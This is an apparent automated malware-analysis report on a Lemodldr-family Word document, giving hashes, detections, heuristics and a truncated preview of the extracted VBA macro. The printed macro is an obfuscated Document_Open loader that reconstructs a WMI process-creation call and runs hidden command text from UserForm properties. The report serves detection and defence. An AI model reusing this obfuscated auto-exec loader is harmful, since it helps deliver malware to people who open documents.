Lemodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 1203f814524a8fb2…

MALICIOUS

Office (OLE)

172.9 KB Created: 2020-07-31 21:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 4aa9a25f10a79f8de731903b57a27ea0 SHA-1: b5937e17835d4b216814a3145c39801c3b7a8ba8 SHA-256: 1203f814524a8fb2f04bbdcf0bfd9dae18670819f45b3b3bbba4849ec5b035b2
262 Risk Score

Malware Insights

Lemodldr · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The ClamAV detection 'Doc.Malware.Lemodldr-9206376-0' strongly suggests the Lemodldr family. The VBA script likely attempts to download and execute a second-stage payload, a common behavior for this type of malware.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9206376-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9206376-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4996 bytes
SHA-256: 1b21bbb4d93e97d36216ecade53ca99857d6b9aec25be460bb5db7defdc61072
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "REOCPeseoqupxwbxet"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
THVMYqdqtiznfph.WPORBdxwjcnyadfnxj
End Sub


Attribute VB_Name = "THVMYqdqtiznfph"
Attribute VB_Base = "0{49F57345-69EE-488C-887A-44EEC66ED6A3}{7B1A5A20-4735-4836-975C-CEA1D5045221}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function WPORBdxwjcnyadfnxj()
Dim JUm3Y4Áv0ÕA As Integer
JUm3Y4Áv0ÕA = 4
Do While JUm3Y4Áv0ÕA < 4 + 8
JUm3Y4Áv0ÕA = JUm3Y4Áv0ÕA + 8: DoEvents
Loop
Dim qJfMXTsq As String
qJfMXTsq = Replace$("SV0ÄLNTNcMX", "SV0ÄLNT", "mU8àEA")
Dim BwQyi As String
BwQyi = Replace$("SHGy8ÅTZUh2àfw5Çjh", "SHGy8ÅTZU", "JMEbC")
TTUXIrogotesc = Chr(THVMYqdqtiznfph.Zoom + ((50 + 50 + 20) / 8))
Dim IKm1ÚK As Integer
IKm1ÚK = 5
Do While IKm1ÚK < 5 + 7
IKm1ÚK = IKm1ÚK + 4: DoEvents
Loop
BUUYLquwterjgynfip = "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddi0202093hui87(*Yhshhshs303030ddnm0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddgm0202093hui87(*Yhshhshs303030ddt0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd" + TTUXIrogotesc + "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd:0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddin0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd30202093hui87(*Yhshhshs303030dd20202093hui87(*Yhshhshs303030dd_0202093hui87(*Yhshhshs303030dd" + THVMYqdqtiznfph.UXLGYuzzjsbv + "0202093hui87(*Yhshhshs303030ddro0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddce0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dd"
Dim cbSSJYfyE As String
cbSSJYfyE = Replace$("qCHAmOwKdYa", "qCHAmO", "ktbh")
KKVKZbgxasmfser = VDHIHjiqdmaxxssijn(BUUYLquwterjgynfip)
Dim Ff5Ë8 As Integer
Ff5Ë8 = 6
Do While Ff5Ë8 < 6 + 5
Ff5Ë8 = Ff5Ë8 + 8: DoEvents
Loop
Set MFWVKpjzktxnhafmkg = CreateObject(KKVKZbgxasmfser)
Dim NRK As String
NRK = Replace$("QAondeVoi4ËhF6", "QAondeV", "sSP7")
PILBHoxgnkuzin = THVMYqdqtiznfph.XMZDFdvxouqlffyy.ControlTipText
Dim tTRG As String
tTRG = Replace$("JnZlI4ÓQ", "JnZl", "VCMJiSHGyy")
OLNYCzqerwqhmjsbw = jdjjdjdjj + (KKVKZbgxasmfser + TTUXIrogotesc + THVMYqdqtiznfph.JRLIUxwlsllp.ControlTipText + PILBHoxgnkuzin)
Dim NWEbKjhI As Integer
NWEbKjhI = 2
Do While NWEbKjhI < 2 + 2
NWEbKjhI = NWEbKjhI + 3: DoEvents
Loop
HDHBEtydsqrd = OLNYCzqerwqhmjsbw + THVMYqdqtiznfph.UXLGYuzzjsbv
Dim XFdLa As String
XFdLa = Replace$("XWMMET4ÖmQmUea0dZcG", "XWMMET4Öm", "T3SUj")
Set POUREktmkaimc = DGNHPwczrbxjkgt(HDHBEtydsqrd)
Dim ejcPcM As String
ejcPcM = Replace$("YPcUjcHRCN", "YPcUjcH", "udQAon")
j6j3nn3nb4 = Array("nxuih yhioasy ywww huwhd", MFWVKpjzktxnhafmkg. _
Create(ZSBWKdrccyuzqm, FYRFLymrnikaeccu, POUREktmkaimc), "diuhuq hioqcdsf")
Dim IUoiXA As String
IUoiXA = Replace$("FlKsSPqpFqDWRFi", "FlKsSPqp", "GmLtTRGEgu")
End Function
Function DGNHPwczrbxjkgt(KPLLPmfvhkfptph)
Set DGNHPwczrbxjkgt = CreateObject(KPLLPmfvhkfptph)
Dim nVtcC0ÈHL As String
nVtcC0ÈHL = Replace$("XIUoiXAjhAf5ÑDWRFi3Äm", "XIUoiXAjhA", "NOb8ÄEg8l")
DGNHPwczrbxjkgt.showwindow = MTIQMyeijvfdnlac + XYMYEajrqivfg + RKTAEuzsznwbcgn
Dim qOuFCbL As String
qOuFCbL = Replace$("T4ÓotuCJkGBFv", "T4ÓotuC", "uKD")
End Function
Function VDHIHjiqdmaxxssijn(ZOZWXdrpsjxx)
GASIGjsvhswcpailwek = ZOZWXdrpsjxx
Dim PFFvM As Integer
PFFvM = 7
Do While PFFvM < 7 + 4
PFFvM = PFFvM + 6: DoEvents
Loop
MWYEItmlwraraeqm = Split _
(GASIGjsvhswcpailwek, "0202093hui87(*Yhshhshs303030dd")
Dim JfMXTsqRQ As String
JfMXTsqRQ = Replace$("GLN3ÈNcgOmUtr", "GLN3ÈNc", "AD6à")
CUQTVlcgzwyap = mm6m6m6m + Join(MWYEItmlwraraeqm, o7o7oej5)
Dim Vy2yPnW As String
Vy2yPnW = Replace$("scZsXLI6Ë
... (truncated)